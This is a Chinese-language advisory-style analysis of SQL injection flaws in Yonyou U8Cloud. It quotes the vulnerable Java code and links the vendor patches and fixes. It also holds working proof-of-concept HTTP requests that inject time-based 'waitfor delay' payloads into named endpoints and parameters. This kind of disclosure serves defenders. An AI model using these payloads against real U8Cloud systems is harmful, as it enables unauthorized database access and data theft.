用友U8Cloud SQL注入漏洞分析与防护指南
漏洞概述
用友U8Cloud系统中存在多处SQL注入漏洞,攻击者可以利用这些漏洞未经授权访问数据库,导致数据泄露风险。本文档详细分析5个关键SQL注入漏洞,包括漏洞原理、复现方法和修复方案。
1. KeyWordDetailReportQuery和KeyWordReportQuery接口SQL注入
漏洞原理
这两个接口在处理报表查询请求时,未对用户输入的reportType和words参数进行有效过滤,导致SQL注入。
关键代码分析:
private String getDeatailReportSql(String usercode, String reportType, int version, KeyWordVO[] words) {
String keyWordSql = this.getSqlByKeyword(words, "rep");
StringBuffer sb = new StringBuffer();
sb.append(" select rep.reportformid ");
sb.append(" from iufo_reportform rep left join iufo_user_report userrep on rep.reportformid = userrep.reportformid");
sb.append(" where ");
sb.append(" userrep.usercode = '" + usercode + "'");
sb.append(" and rep.reporttype = '" + reportType + "'"); // 注入点
sb.append(" and rep.version = " + version);
sb.append(" and " + keyWordSql);
return sb.toString();
}
漏洞复现
KeyWordDetailReportQuery接口:
POST /service/~iufo/nc.itf.iufo.mobilereport.data.KeyWordDetailReportQuery HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
{"reportType":"1';waitfor delay '0:0:3'-- ","keyword":[]}
KeyWordReportQuery接口:
POST /service/~iufo/nc.itf.iufo.mobilereport.data.KeyWordReportQuery HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
{"reportType":"1';waitfor delay '0:0:3'-- ","pageInfo":{"currentPageIndex":1,"pageSize":1},"keyword":[]}
修复方案
补丁地址:https://security.yonyou.com/#/noticeInfo?id=471
修复方法:对输入参数进行严格过滤,特别是单引号等特殊字符。
2. AppPhoneServletService接口SQL注入
漏洞原理
nc.pubitf.erm.mobile.appservice.AppPhoneServletService类中getUserInfoByPhone方法直接拼接用户输入的phone参数到SQL语句中。
关键代码:
private Map<String, Object> getUserInfoByPhone(String phone) throws BusinessException {
String sql = "SELECT s.cuserid as cuserid, b.mobile as mobile, b.email as email, s.user_code as user_code, " +
"s.user_name as user_name,d.PK_DEPTDOC as pk_dept,d.DEPTNAME as deptname, " +
"a.PSNCODE as pcode,o.PK_CORP as pk_org, o.UNITNAME as orgname,b.id " +
"from sm_user s INNER JOIN SM_USERANDCLERK c on s.CUSERID = c.USERID " +
"INNER JOIN BD_psndoc a on a.PK_PSNBASDOC = c.PK_PSNDOC " +
"INNER JOIN BD_PSNBASDOC b on a.PK_PSNBASDOC = b.PK_PSNBASDOC " +
"INNER JOIN BD_DEPTDOC d on a.PK_DEPTDOC = d.PK_DEPTDOC " +
"INNER JOIN BD_CORP o on o.PK_CORP = a.PK_CORP " +
"where b.mobile = '" + phone + "'"; // 注入点
BaseDAO dao = new BaseDAO();
Map<String, Object> returnMap = new HashMap();
try {
List<Object[]> userInfos = (List) dao.executeQuery(sql, new ArrayListProcessor());
修复方案
补丁地址:https://security.yonyou.com/#/noticeInfo?id=467
修复代码:
String phone = filterStr(request.getParameter("phone"));
if (!SQLParamValidator.validate(phone)){
returnErrorMsg(response, "invalid parameter");
return;
}
3. ReportDetailDataQuery接口SQL注入
漏洞原理
nc.itf.iufo.mobilereport.data.ReportDetailDataQuery类中formPK参数可控,最终被拼接到SQL条件中。
漏洞链:
ReportDetailDataQuery.query接收formPK参数- 调用
dataQuery.queryVO(formPK) - 最终在
BaseDAO.retrieveByClause中拼接SQL条件
关键代码:
public ReportDataVO queryVO(String formid) throws BusinessException {
IMobileQueryService formService = (IMobileQueryService) NCLocator.getInstance().lookup(IMobileQueryService.class);
ReportFormVO parentvo = formService.queryVOByPk(formid); // 传递注入参数
// ...
}
public ReportFormVO queryVOByPk(String reportformid) throws BusinessException {
String sql = " reportformid ='" + reportformid + "'"; // 注入点
BaseDAO dao = BaseDAOUtil.createDao();
Collection<ReportFormVO> vos = dao.retrieveByClause(ReportFormVO.class, sql);
ReportFormVO[] froms = (ReportFormVO[]) vos.toArray(new ReportFormVO[0]);
return froms[0];
}
漏洞复现
POST /service/~iufo/nc.itf.iufo.mobilereport.data.ReportDetailDataQuery HTTP/1.1
Host: [target]
Content-Length: 0
{"reportid":"1';waitfor delay '0:0:4'--"}
修复方案
补丁地址:https://security.yonyou.com/#/noticeInfo?id=465
修复代码:
formPK = (String) requestMap.get("reportid");
// 防SQL注入
DataParamValidator.validate(formPK);
public static void validate(String param) throws ServletException {
if (param.contains("'")){
throw new ServletException("invalid parameter");
}
}
4. ArchiveVerify接口SQL注入
漏洞原理
/u8cuapws/rest/archive/verify接口的orgbookCode参数可控,最终被拼接到SQL查询条件中。
关键代码:
public static GlorgbookVO queryGlOrgBookVO(String orgbookCode) throws BusinessException {
BaseDAO baseDao = new BaseDAO();
GlorgbookVO[] glorgbookVOS = (GlorgbookVO[]) baseDao.queryVOs(GlorgbookVO.class,
" isnull(dr,0) = 0 and glorgbookcode = '" + orgbookCode + "'"); // 注入点
if (glorgbookVOS != null && glorgbookVOS.length != 0) {
return glorgbookVOS[0];
} else {
throw new BusinessException("请求全宗编码在U8C中不存在对应的主体账簿");
}
}
修复方案
补丁地址:https://security.yonyou.com/#/patchInfo?identifier=87c28d170c0545b682a8eb65f7e8dddb
修复代码:
public static GlorgbookVO queryGlOrgBookVO(String orgbookCode) throws BusinessException {
BaseDAO baseDao = new BaseDAO();
SQLParameter param = new SQLParameter();
param.addParam(orgbookCode);
Collection<GlorgbookVO> glorgbookVOS = baseDao.retrieveByClause(GlorgbookVO.class,
" isnull(dr,0) = 0 and glorgbookcode = ?", param);
// ...
}
通用防护建议
- 参数化查询:所有SQL语句都应使用参数化查询,避免字符串拼接
- 输入验证:对所有用户输入进行严格验证,过滤特殊字符
- 最小权限原则:数据库连接使用最小必要权限
- ORM框架:使用安全的ORM框架,避免手写SQL
- 安全编码培训:加强开发人员安全编码意识
总结
用友U8Cloud系统中存在的SQL注入漏洞主要源于未对用户输入进行充分过滤和直接拼接SQL语句。通过分析这些漏洞,我们可以得出以下关键安全实践:
- 永远不要信任用户输入
- 使用预编译语句或存储过程
- 实施多层防御机制
- 定期进行安全代码审计
- 及时应用官方安全补丁
企业用户应及时更新到最新版本,应用所有安全补丁,并定期进行安全评估以发现潜在风险。